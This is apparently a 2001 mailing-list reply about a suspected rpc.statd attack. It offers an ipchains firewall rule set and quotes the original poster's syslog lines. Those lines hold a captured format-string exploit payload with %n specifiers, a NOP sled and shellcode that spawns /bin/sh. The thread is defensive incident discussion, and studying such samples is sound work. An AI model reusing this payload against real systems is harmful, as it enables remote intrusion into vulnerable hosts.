Re: rpc.statd attack?
This is just a comment based on all the emails that I have been seeing here
(not that I read them all, but...).
In theory if you are going to leave your system setup on a public network, then
you should really be filtering ALL connections to the box and ONLY ONLY ONLY
allowing the services that you want through.
I don't remember if ipchains/filtering is in the default kernel, but if it is
not then it should be and everyone should have everything blocked :)
Then install a good basic rule set, something like:
## Flush all rules and set policies
##
$IPCHAINS -F
$IPCHAINS -P input REJECT
$IPCHAINS -P output ACCEPT
$IPCHAINS -P forward DENY
## DENY ALL (This logs deny'ies - DEFAULT = DENY)
$IPCHAINS -I input -l -j REJECT
## Allow ICMP (But, REJECT echo requests (ping))
$IPCHAINS -I input -p icmp -j ACCEPT
$IPCHAINS -I input -l -p icmp -s 0.0.0.0/0 8 -j REJECT
## Allow SSH
$IPCHAINS -I input -p tcp -d 0.0.0.0/0 22 -j ACCEPT
## Allow Localhost
$IPCHAINS -I input -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT
## Only allow packets without SYN flag set.
## SYN being set means we are trying to establish a connection
## without it being set means the connection IS established.
## This allows outbound to return.
##
$IPCHAINS -I input -p tcp \! -y -j ACCEPT
There is possibly a better way to do this, but I don't like the ipchains
interface, so I have not bothered to learn it. But at any rate this is a great
basic rule set to keep you out of having issues like this.
Just my thoughts. Comments?
--Jason
On Tue, Jan 09, 2001 at 12:31:59PM -0800, crusius@stanford.edu wrote:
> I got the following (alarming) messages on syslog:
>
> Jan 8 13:34:23 yuban syslogd: Cannot glue message parts together
> Jan 8 13:34:23 yuban /sbin/rpc.statd[159]: gethostbyname error for ^X\xf7\xff\xbf^X\xf7\xff\xbf^Y\xf7\ xff\xbf^Y\xf7\xff\xbf^Z\xf7\xff\xbf^Z\xf7\xff\xbf^[\xf7\xff\xbf^[\xf7\xff\xbf%8x%8x%8x%8x%8x%8x%8x%8x%8 x%236x%n%137x%n%10x%n%192x%n\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\22 0\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\2 20\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\ 220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220 \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\22 0\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\2 20\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\ 220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220 \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
> Jan 8 13:34:23 yuban \xc7^F/bin\xc7F^D/shA0\xc0\210F^G\211v^L\215V^P\215N^L\211\xf3\xb0^K\xcd\200\xb0^ A\xcd\200\xe8\177\xff\xff\xff
>
> it looks like an attack (specially when I see /bin/sh hidden in
> there). I searched the lists and it seems that this problem should
> have been corrected before potato was released. Any reason for
> worries, or is there any reason why I should think it was an
> unsuccessful attack?
Reply to: